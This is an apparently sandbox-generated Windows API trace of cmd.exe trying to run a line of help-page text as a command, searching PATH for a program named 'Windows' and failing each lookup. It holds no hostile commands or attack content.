GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.546] GetProcessHeap () returned 0x20b0f920000 [0162.546] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.546] GetProcessHeap () returned 0x20b0f920000 [0162.546] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.546] GetProcessHeap () returned 0x20b0f920000 [0162.546] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.546] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.546] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x521 [0162.547] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1294, lpOverlapped=0x0) returned 1 [0162.547] SetFilePointer (in: hFile=0x94, lDistanceToMove=1416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x588 [0162.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 103 [0162.547] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.547] GetFileType (hFile=0x94) returned 0x1 [0162.547] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.547] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x588 [0162.547] GetProcessHeap () returned 0x20b0f920000 [0162.547] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.547] GetProcessHeap () returned 0x20b0f920000 [0162.547] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.548] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.548] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.549] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.549] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.549] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.549] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.549] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.549] GetProcessHeap () returned 0x20b0f920000 [0162.549] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.549] GetProcessHeap () returned 0x20b0f920000 [0162.549] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.549] GetProcessHeap () returned 0x20b0f920000 [0162.549] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f92cb10 [0162.549] _tell (_FileHandle=3) returned 1416 [0162.549] _close (_FileHandle=3) returned 0 [0162.549] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.549] GetFileType (hFile=0x50) returned 0x2 [0162.549] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.549] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.550] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.553] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.553] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.553] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.553] GetFileType (hFile=0x50) returned 0x2 [0162.553] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.553] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.554] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.554] GetFileType (hFile=0x50) returned 0x2 [0162.554] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.554] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.555] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.555] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0162.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.555] GetFileType (hFile=0x50) returned 0x2 [0162.555] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.555] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.555] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0162.556] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.556] GetFileType (hFile=0x50) returned 0x2 [0162.556] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.556] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.556] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.559] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.560] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.560] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.560] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.560] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.560] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.560] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.560] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.560] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.560] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.561] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.561] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.561] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.561] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.561] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.561] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.561] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.561] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.561] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.561] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.561] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.561] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.561] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.561] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.561] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.561] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.561] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.561] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.561] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.561] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.561] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.561] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.561] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.561] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.561] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.561] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.561] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.561] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.561] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.561] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.561] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.561] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.561] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.561] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.561] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.561] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.562] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.562] GetProcessHeap () returned 0x20b0f920000 [0162.562] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.566] SetErrorMode (uMode=0x0) returned 0x0 [0162.566] SetErrorMode (uMode=0x1) returned 0x0 [0162.566] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.566] SetErrorMode (uMode=0x0) returned 0x1 [0162.566] GetProcessHeap () returned 0x20b0f920000 [0162.566] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.566] GetProcessHeap () returned 0x20b0f920000 [0162.566] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.566] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.566] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.566] GetProcessHeap () returned 0x20b0f920000 [0162.566] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.566] GetProcessHeap () returned 0x20b0f920000 [0162.566] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.566] GetProcessHeap () returned 0x20b0f920000 [0162.567] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.568] GetProcessHeap () returned 0x20b0f920000 [0162.568] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.568] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.568] GetProcessHeap () returned 0x20b0f920000 [0162.568] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.568] GetProcessHeap () returned 0x20b0f920000 [0162.568] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.568] GetProcessHeap () returned 0x20b0f920000 [0162.568] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.568] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.568] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cfd0 [0162.568] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0162.568] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.569] GetLastError () returned 0x2 [0162.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.569] GetLastError () returned 0x2 [0162.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.569] GetLastError () returned 0x2 [0162.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.569] GetLastError () returned 0x2 [0162.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.569] GetLastError () returned 0x2 [0162.570] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.570] GetLastError () returned 0x2 [0162.570] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.570] GetLastError () returned 0x2 [0162.570] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.570] GetLastError () returned 0x2 [0162.570] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.570] GetLastError () returned 0x2 [0162.570] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.571] GetLastError () returned 0x2 [0162.571] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.571] GetLastError () returned 0x2 [0162.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.571] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.571] GetLastError () returned 0x2 [0162.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.571] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0162.571] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0162.571] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.571] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.572] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.572] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.572] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.572] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.572] GetLastError () returned 0x2 [0162.572] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.573] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.573] GetLastError () returned 0x2 [0162.573] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.574] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.574] GetLastError () returned 0x2 [0162.574] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.574] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.574] GetLastError () returned 0x2 [0162.574] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.574] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.574] GetLastError () returned 0x2 [0162.574] ??_V@YAXPEAX@Z () returned 0x1 [0162.574] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.575] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.575] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.575] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.575] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.575] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.575] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.575] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.575] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.575] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.575] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.575] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.575] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.575] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.575] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.576] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.576] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.576] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.576] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.576] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.576] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.576] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.576] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.576] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.576] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.576] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.576] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.576] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.576] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.576] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.576] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.576] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.576] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.576] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.576] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.576] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.576] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.576] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.576] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.576] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.576] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.576] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.576] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.576] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.576] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.576] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.576] 